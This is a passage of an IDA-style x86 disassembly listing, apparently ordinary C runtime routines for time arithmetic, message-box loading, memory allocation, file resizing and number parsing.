loc_424B7E:				; CODE XREF: sub_424B06+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424BBC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424B92
		mov	esi, dword_43B0EC[esi]
		jmp	short loc_424B98
; ---------------------------------------------------------------------------


loc_424B92:				; CODE XREF: sub_424B06+82j
		mov	esi, dword_43B120[esi]


loc_424B98:				; CODE XREF: sub_424B06+8Aj
		cmp	ecx, esi
		jle	short loc_424BBC
		sub	ecx, 7
		jmp	short loc_424BBC
; ---------------------------------------------------------------------------


loc_424BA1:				; CODE XREF: sub_424B06+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424BB2
		mov	ecx, dword_43B0E8[eax*4]
		jmp	short loc_424BB9
; ---------------------------------------------------------------------------


loc_424BB2:				; CODE XREF: sub_424B06+A1j
		mov	ecx, dword_43B11C[eax*4]


loc_424BB9:				; CODE XREF: sub_424B06+AAj
		add	ecx, [ebp+arg_18]


loc_424BBC:				; CODE XREF: sub_424B06+7Cj
					; sub_424B06+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424BED
		mov	eax, [ebp+arg_1C]
		mov	dword_43B0D4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43B0D0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B0D8, eax
		jmp	short loc_424C42
; ---------------------------------------------------------------------------


loc_424BED:				; CODE XREF: sub_424B06+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43B0E4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43B040
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B0E8, eax
		jns	short loc_424C25
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43B0E8, eax
		jmp	short loc_424C36
; ---------------------------------------------------------------------------


loc_424C25:				; CODE XREF: sub_424B06+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424C3C
		sub	eax, edx
		inc	ecx
		mov	dword_43B0E8, eax


loc_424C36:				; CODE XREF: sub_424B06+11Dj
		mov	dword_43B0E4, ecx


loc_424C3C:				; CODE XREF: sub_424B06+126j
		mov	dword_43B0E0, ebx


loc_424C42:				; CODE XREF: sub_424B06+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424B06	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C46	proc near		; CODE XREF: ___:00422DA5p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424C57
		add	esp, 0Ch
		retn
sub_424C46	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C57	proc near		; CODE XREF: sub_424C46+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DAC81[eax], cl
		jnz	short loc_424C84
		cmp	[esp+arg_4], 0
		jz	short loc_424C7D
		movzx	eax, word_43A68A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424C7F
; ---------------------------------------------------------------------------


loc_424C7D:				; CODE XREF: sub_424C57+16j
		xor	eax, eax


loc_424C7F:				; CODE XREF: sub_424C57+24j
		test	eax, eax
		jnz	short loc_424C84
		retn
; ---------------------------------------------------------------------------


loc_424C84:				; CODE XREF: sub_424C57+Fj
					; sub_424C57+2Aj
		push	1
		pop	eax
		retn
sub_424C57	endp


; =============== S U B	R O U T	I N E =======================================



sub_424C88	proc near		; CODE XREF: sub_4234D1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4D99FC, ebx
		push	esi
		push	edi
		jnz	short loc_424CD7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0C73h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424D0D
		mov	esi, dword_4270CC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4D99FC, eax
		jz	short loc_424D0D
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4D9A00, eax
		call	esi
		mov	dword_4D9A04, eax


loc_424CD7:				; CODE XREF: sub_424C88+Bj
		mov	eax, dword_4D9A00
		test	eax, eax
		jz	short loc_424CF6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424CF6
		mov	eax, dword_4D9A04
		test	eax, eax
		jz	short loc_424CF6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424CF6:				; CODE XREF: sub_424C88+56j
					; sub_424C88+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4D99FC


loc_424D09:				; CODE XREF: sub_424C88+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424D0D:				; CODE XREF: sub_424C88+1Cj
					; sub_424C88+33j
		xor	eax, eax
		jmp	short loc_424D09
sub_424C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D11	proc near		; CODE XREF: sub_42383E+22p
					; sub_42383E+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_424D31
		test	esi, esi
		jnz	short loc_424D2B
		push	1
		pop	esi


loc_424D2B:				; CODE XREF: sub_424D11+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424D31:				; CODE XREF: sub_424D11+11j
					; sub_424D11+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424D62
		cmp	ebx, dword_43A67C
		ja	short loc_424D4D
		push	ebx
		call	sub_41E7CD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424D78


loc_424D4D:				; CODE XREF: sub_424D11+2Dj
		push	esi
		push	8
		push	dword_4DADA0
		nop
		call	near ptr 27D0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424D84


loc_424D62:				; CODE XREF: sub_424D11+25j
		cmp	dword_4D9798, 0
		jz	short loc_424D84
		push	esi
		call	sub_41F247
		test	eax, eax
		pop	ecx
		jz	short loc_424D8A
		jmp	short loc_424D31
; ---------------------------------------------------------------------------


loc_424D78:				; CODE XREF: sub_424D11+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_41BD10
		add	esp, 0Ch


loc_424D84:				; CODE XREF: sub_424D11+4Fj
					; sub_424D11+58j
		mov	eax, edi


loc_424D86:				; CODE XREF: sub_424D11+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424D8A:				; CODE XREF: sub_424D11+63j
		xor	eax, eax
		jmp	short loc_424D86
sub_424D11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4238E3


loc_424D8E:				; CODE XREF: sub_4238E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DAA40, esi
		jle	short loc_424DE1


loc_424D9D:				; CODE XREF: sub_4238E3+14FCj
		mov	eax, dword_4D9A30
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424DD8
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424DBC
		push	eax
		call	sub_41B9DB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424DBC
		inc	edi


loc_424DBC:				; CODE XREF: sub_4238E3+14CAj
					; sub_4238E3+14D6j
		cmp	esi, 14h
		jl	short loc_424DD8
		mov	eax, dword_4D9A30
		push	dword ptr [eax+esi*4]
		call	sub_41BA31
		mov	eax, dword_4D9A30
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424DD8:				; CODE XREF: sub_4238E3+14C4j
					; sub_4238E3+14DCj
		inc	esi
		cmp	esi, dword_4DAA40
		jl	short loc_424D9D


loc_424DE1:				; CODE XREF: sub_4238E3+14B8j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4238E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DE6	proc near		; CODE XREF: sub_42393B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C2A0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DAB60
		jnb	loc_424F1B
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_424F1B
		push	1
		push	esi
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_424F25
		push	2
		push	esi
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_424F25
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424EC8
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BD10
		push	8000h
		push	ebx
		call	sub_425A20
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424E7C:				; CODE XREF: sub_424DE6+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424E87
		mov	eax, edi


loc_424E87:				; CODE XREF: sub_424DE6+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_422825
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424EA5
		sub	edi, eax
		test	edi, edi
		jle	short loc_424EBB
		jmp	short loc_424E7C
; ---------------------------------------------------------------------------


loc_424EA5:				; CODE XREF: sub_424DE6+B5j
		cmp	dword_4D9718, 5
		jnz	short loc_424EB8
		mov	dword_4D9714, 0Dh


loc_424EB8:				; CODE XREF: sub_424DE6+C6j
		or	esi, 0FFFFFFFFh


loc_424EBB:				; CODE XREF: sub_424DE6+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425A20
		pop	ecx
		pop	ecx
		jmp	short loc_424F08
; ---------------------------------------------------------------------------


loc_424EC8:				; CODE XREF: sub_424DE6+71j
		jge	short loc_424F08
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422633
		push	ebx
		call	sub_4237AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_424F08
		mov	dword_4D9714, 0Dh
		nop
		call	near ptr 2680DCDh
		mov	dword_4D9718, eax


loc_424F08:				; CODE XREF: sub_424DE6+E0j
					; sub_424DE6:loc_424EC8j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422633
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_424F28
; ---------------------------------------------------------------------------


loc_424F1B:				; CODE XREF: sub_424DE6+1Aj
					; sub_424DE6+36j
		mov	dword_4D9714, 9


loc_424F25:				; CODE XREF: sub_424DE6+4Ej
					; sub_424DE6+63j
		or	eax, 0FFFFFFFFh


loc_424F28:				; CODE XREF: sub_424DE6+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424DE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F2C	proc near		; CODE XREF: sub_4240DF+2Bp
					; sub_4240DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_424F42
		cmp	ecx, esi
		jnb	short loc_424F45


loc_424F42:				; CODE XREF: sub_424F2C+10j
		push	1
		pop	eax


loc_424F45:				; CODE XREF: sub_424F2C+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_424F2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F4D	proc near		; CODE XREF: sub_425006+40p
					; sub_425006+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424F7F
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424F7F
		inc	dword ptr [esi+8]


loc_424F7F:				; CODE XREF: sub_424F4D+19j
					; sub_424F4D+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424F97
		inc	dword ptr [esi+8]


loc_424F97:				; CODE XREF: sub_424F4D+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_424F2C
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_424F4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FAB	proc near		; CODE XREF: sub_425006+30p
					; sub_425006+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_424FAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FD9	proc near		; CODE XREF: sub_42559E+1C8p
					; sub_425A96+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_424FD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425006	proc near		; CODE XREF: sub_4250CD+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42507A
		push	edi
		mov	[ebp+arg_8], eax


loc_42502D:				; CODE XREF: sub_425006+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_424FAB
		push	ebx
		call	sub_424FAB
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424F4D
		push	ebx
		call	sub_424FAB
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_424F4D
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_42502D
		xor	edx, edx
		pop	edi


loc_42507A:				; CODE XREF: sub_425006+21j
					; sub_425006+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4250A7
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42507A
; ---------------------------------------------------------------------------


loc_4250A7:				; CODE XREF: sub_425006+77j
		mov	esi, 8000h


loc_4250AC:				; CODE XREF: sub_425006+B9j
		test	[ebx+8], esi
		jnz	short loc_4250C1
		push	ebx
		call	sub_424FAB
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4250AC
; ---------------------------------------------------------------------------


loc_4250C1:				; CODE XREF: sub_425006+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_425006	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250CD	proc near		; CODE XREF: sub_424428+17p
					; sub_424455+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_425108:				; CODE XREF: sub_4250CD+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_42511E
		cmp	cl, 9
		jz	short loc_42511E
		cmp	cl, 0Ah
		jz	short loc_42511E
		cmp	cl, 0Dh
		jnz	short loc_425121


loc_42511E:				; CODE XREF: sub_4250CD+40j
					; sub_4250CD+45j ...
		inc	edi
		jmp	short loc_425108
; ---------------------------------------------------------------------------


loc_425121:				; CODE XREF: sub_4250CD+4Fj
		push	4
		pop	esi


loc_425124:				; CODE XREF: sub_4250CD+AEj
					; sub_4250CD+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4253A7	; default
					; jumptable 00425130 case 10
		jmp	off_42556E[eax*4] ; switch jump


loc_425137:				; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 0
		jl	short loc_425148
		cmp	bl, 39h
		jg	short loc_425148


loc_425141:				; CODE XREF: sub_4250CD+C4j
					; sub_4250CD+118j
		push	3
		jmp	loc_425365
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250CD+6Dj
					; sub_4250CD+72j
		cmp	bl, byte_43A890
		jnz	short loc_425157


loc_425150:				; CODE XREF: sub_4250CD+124j
		push	5
		jmp	loc_42539D
; ---------------------------------------------------------------------------


loc_425157:				; CODE XREF: sub_4250CD+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_42517D
		dec	eax
		dec	eax
		jz	short loc_425171
		sub	eax, 3
		jnz	loc_425440
		jmp	loc_425200
; ---------------------------------------------------------------------------


loc_425171:				; CODE XREF: sub_4250CD+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425124
; ---------------------------------------------------------------------------


loc_42517D:				; CODE XREF: sub_4250CD+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425124
; ---------------------------------------------------------------------------


loc_425186:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425193
		cmp	bl, 39h
		jle	short loc_425141


loc_425193:				; CODE XREF: sub_4250CD+BFj
		cmp	bl, byte_43A890
		jz	loc_42525B
		cmp	bl, 2Bh
		jz	short loc_4251D5
		cmp	bl, 2Dh
		jz	short loc_4251D5
		cmp	bl, 30h
		jz	short loc_425200


loc_4251AE:				; CODE XREF: sub_4250CD+207j
		cmp	bl, 43h
		jle	loc_425440
		cmp	bl, 45h
		jle	short loc_4251CE
		cmp	bl, 63h
		jle	loc_425440
		cmp	bl, 65h
		jg	loc_425440


loc_4251CE:				; CODE XREF: sub_4250CD+EDj
		push	6
		jmp	loc_42539D
; ---------------------------------------------------------------------------


loc_4251D5:				; CODE XREF: sub_4250CD+D5j
					; sub_4250CD+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_42539D
; ---------------------------------------------------------------------------


loc_4251DD:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 2
		jl	short loc_4251EB
		cmp	bl, 39h
		jle	loc_425141


loc_4251EB:				; CODE XREF: sub_4250CD+113j
		cmp	bl, byte_43A890
		jz	loc_425150
		cmp	bl, 30h
		jnz	loc_4253B5


loc_425200:				; CODE XREF: sub_4250CD+9Fj
					; sub_4250CD+DFj
		mov	eax, edx
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_425207:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		mov	[ebp+var_10], edx ; jumptable 00425130 case 3


loc_42520A:				; CODE XREF: sub_4250CD+184j
		cmp	dword_43A88C, edx
		jle	short loc_425223
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425231
; ---------------------------------------------------------------------------


loc_425223:				; CODE XREF: sub_4250CD+143j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425231:				; CODE XREF: sub_4250CD+154j
		test	eax, eax
		jz	short loc_425253
		cmp	[ebp+var_4], 19h
		jnb	short loc_42524B
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]


loc_425241:				; DATA XREF: ___:off_4384E0o
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_42524E
; ---------------------------------------------------------------------------


loc_42524B:				; CODE XREF: sub_4250CD+16Cj
		inc	[ebp+var_8]


loc_42524E:				; CODE XREF: sub_4250CD+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42520A
; ---------------------------------------------------------------------------


loc_425253:				; CODE XREF: sub_4250CD+166j
		cmp	bl, byte_43A890
		jnz	short loc_4252C2


loc_42525B:				; CODE XREF: sub_4250CD+CCj
		mov	eax, esi
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_425262:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	[ebp+var_4], 0	; jumptable 00425130 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42527B


loc_42526E:				; CODE XREF: sub_4250CD+1ACj
		cmp	bl, 30h
		jnz	short loc_42527B
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42526E
; ---------------------------------------------------------------------------


loc_42527B:				; CODE XREF: sub_4250CD+19Fj
					; sub_4250CD+1A4j ...
		cmp	dword_43A88C, edx
		jle	short loc_425294
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4252A2
; ---------------------------------------------------------------------------


loc_425294:				; CODE XREF: sub_4250CD+1B4j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4252A2:				; CODE XREF: sub_4250CD+1C5j
		test	eax, eax
		jz	short loc_4252C2
		cmp	[ebp+var_4], 19h
		jnb	short loc_4252BD
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_4252BD:				; CODE XREF: sub_4250CD+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42527B
; ---------------------------------------------------------------------------


loc_4252C2:				; CODE XREF: sub_4250CD+18Cj
					; sub_4250CD+1D7j
		cmp	bl, 2Bh
		jz	loc_4251D5
		cmp	bl, 2Dh
		jz	loc_4251D5
		jmp	loc_4251AE
; ---------------------------------------------------------------------------


loc_4252D9:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	dword_43A88C, edx ; jumptable 00425130 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4252F5
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425303
; ---------------------------------------------------------------------------


loc_4252F5:				; CODE XREF: sub_4250CD+215j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425303:				; CODE XREF: sub_4250CD+226j
		test	eax, eax
		jz	loc_4253B5
		mov	eax, esi
		jmp	short loc_425366
; ---------------------------------------------------------------------------


loc_42530F:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		lea	ecx, [edi-2]	; jumptable 00425130 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42531F
		cmp	bl, 39h
		jle	short loc_425363


loc_42531F:				; CODE XREF: sub_4250CD+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_42539B
		dec	eax
		dec	eax
		jz	short loc_42538F
		sub	eax, 3
		jnz	loc_425443


loc_425334:				; CODE XREF: sub_4250CD+2A4j
		push	8
		jmp	short loc_42539D
; ---------------------------------------------------------------------------


loc_425338:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		mov	[ebp+var_20], edx ; jumptable 00425130 case 8


loc_42533B:				; CODE XREF: sub_4250CD+276j
		cmp	bl, 30h
		jnz	short loc_425345
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42533B
; ---------------------------------------------------------------------------


loc_425345:				; CODE XREF: sub_4250CD+271j
		cmp	bl, 31h
		jl	loc_425440
		cmp	bl, 39h
		jg	loc_425440
		jmp	short loc_425363
; ---------------------------------------------------------------------------


loc_425359:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	bl, 31h		; jumptable 00425130 case 7
		jl	short loc_42536C
		cmp	bl, 39h
		jg	short loc_42536C


loc_425363:				; CODE XREF: sub_4250CD+250j
					; sub_4250CD+28Aj
		push	9


loc_425365:				; CODE XREF: sub_4250CD+76j
		pop	eax


loc_425366:				; CODE XREF: sub_4250CD+240j
		dec	edi
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_42536C:				; CODE XREF: sub_4250CD+28Fj
					; sub_4250CD+294j
		cmp	bl, 30h
		jnz	short loc_4253B5
		jmp	short loc_425334
; ---------------------------------------------------------------------------


loc_425373:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		cmp	[ebp+arg_18], 0	; jumptable 00425130 case 11
		jz	short loc_4253A3
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_42539B
		dec	eax
		dec	eax
		jnz	loc_425443


loc_42538F:				; CODE XREF: sub_4250CD+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_42539B:				; CODE XREF: sub_4250CD+258j
					; sub_4250CD+2B8j
		push	7


loc_42539D:				; CODE XREF: sub_4250CD+85j
					; sub_4250CD+103j ...
		pop	eax
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_4253A3:				; CODE XREF: sub_4250CD+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4253A7:				; CODE XREF: sub_4250CD+5Dj
					; sub_4250CD+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425130 case 10
		jz	loc_425445
		jmp	loc_425124
; ---------------------------------------------------------------------------


loc_4253B5:				; CODE XREF: sub_4250CD+12Dj
					; sub_4250CD+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425445
; ---------------------------------------------------------------------------


loc_4253BD:				; CODE XREF: sub_4250CD+63j
					; DATA XREF: ___:off_42556Eo
		mov	[ebp+var_20], 1	; jumptable 00425130 case 9
		xor	esi, esi


